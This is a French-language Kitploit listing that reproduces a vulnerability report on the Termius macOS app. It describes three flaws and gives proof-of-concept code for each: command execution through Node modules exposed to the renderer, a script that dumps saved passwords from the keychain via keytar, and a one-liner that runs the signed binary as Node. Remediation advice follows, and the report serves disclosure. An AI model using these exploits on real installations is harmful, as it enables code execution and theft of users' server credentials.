Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-Termius | Kitploit
Outils/GitHubGitHub/nicetop1027/cve-2026-termius
Analyse des VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationArticles et RechercheMauvaise ConfigurationApprentissage et Éducation
GitHubnicetop1027/cve-2026-termius

CVE-2026-Termius

Voir le dépôt
il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Rapport de vulnérabilité de l'application macOS Termius (CVE-2026-Termius)

Cible: Termius (macOS) Version testée: Dernière (janv. 2026) Impact: Exécution de code à distance (RCE), Élévation locale de privilèges (LPE), Contournement de la sécurité de l'application

🚨 Résumé exécutif

Trois vulnérabilités critiques ont été identifiées dans l'application macOS Termius, permettant à un attaquant de :

  1. Exécuter des commandes système arbitraires (RCE) via un symbole de porte dérobée caché exposé au processus de rendu.
  2. Extraire tous les mots de passe enregistrés (LPE) en abusant du module natif keytar exposé.
  3. Contourner entièrement la sécurité de l'application en exploitant le fuse ELECTRON_RUN_AS_NODE manquant.

1. Critique: Exécution de code à distance (RCE) via un symbole caché

Détails de la vulnérabilité

L'application expose des modules Node.js puissants (child_process, fs, electron) au processus de rendu (la partie interface web de l'application). Ces modules sont cachés derrière un Symbol global dans l'objet window pour les dissimuler, mais ils ne sont pas isolés de manière sécurisée.

  • Modèle de code vulnérable:
    root@kitploit:~
    // In extracted app source
    window[Symbol.for("preloadedModulesKey")] = {
        child_process: require('child_process'),
        // ...
    };
    

Exploit (PoC)

Un attaquant qui réalise une injection de scripts intersites (XSS) peut immédiatement passer à une RCE en utilisant ce symbole exposé.

poc_rce_via_symbol.js:

root@kitploit:~
// 1. Reconstruct the hidden key using Symbol.for (Global Registry)
const hiddenKey = Symbol.for("preloadedModulesKey");

// 2. Access the exposed backdoor object
const backdoor = window[hiddenKey];

if (backdoor && backdoor.child_process) {
    console.log("RCE Target Acquired.");
    // 3. Execute arbitrary system command (e.g., Calculator)
    backdoor.child_process.exec("open -a Calculator");
}

2. Critique: Extraction locale des identifiants (LPE)

Détails de la vulnérabilité

Le module natif Node keytar, que Termius utilise pour interfacer avec le trousseau macOS (Keychain), est également exposé via le même symbole caché. Cela permet à tout script s'exécutant dans le contexte de l'application (par exemple, un plugin malveillant, une XSS ou une injection de processus local) d'interroger et de récupérer les mots de passe en clair de tous les serveurs enregistrés.

Exploit (PoC)

poc_lpe_dump_creds.js:

root@kitploit:~
const hiddenKey = Symbol.for("preloadedModulesKey");
const modules = window[hiddenKey];

// Find the keytar module (name may vary slightly)
const keytarModuleName = Object.keys(modules).find(k => k.includes("keytar"));
const keytar = modules[keytarModuleName];

// Dump credentials for the default service
keytar.findCredentials("Termius").then(credentials => {
    console.log("🔥🔥🔥 DUMPED CREDENTIALS 🔥🔥🔥");
    console.table(credentials);
});

3. Critique: Fuse Electron manquant (RunAsNode)

Détails de la vulnérabilité

Le binaire Termius ne désactive pas le fuse ELECTRON_RUN_AS_NODE. Il s'agit d'une erreur de configuration de sécurité critique qui permet à tout utilisateur local d'exécuter le binaire Termius signé en tant qu'exécutable Node.js standard. Cela contourne complètement les contrôles d'intégrité de la signature de code macOS pour la logique de l'application.

Exploit (PoC)

poc_fuse.sh:

root@kitploit:~
# Execute Termius as Node.js, running arbitrary code
ELECTRON_RUN_AS_NODE=1 /Applications/Termius.app/Contents/MacOS/Termius -e 'require("child_process").exec("open -a Calculator")'

Recommandations de remédiation (pour les développeurs)

  1. Désactiver les fuses Electron: Désactivez explicitement RunAsNode et EnableNodeCliInspectArguments à l'aide de @electron/fuses lors de la compilation.
  2. Supprimer l'exposition du symbole global: N'attachez pas de modules sensibles à window ou global. Utilisez contextBridge.exposeInMainWorld avec une surface d'API restreinte qui n'expose que les fonctions nécessaires, et non des modules entiers.
  3. Assainir les IPC: Assurez-vous que toutes les communications entre processus (IPC) sont strictement typées et validées.

Rapport généré par Antigravity Agent

Télécharger l’outil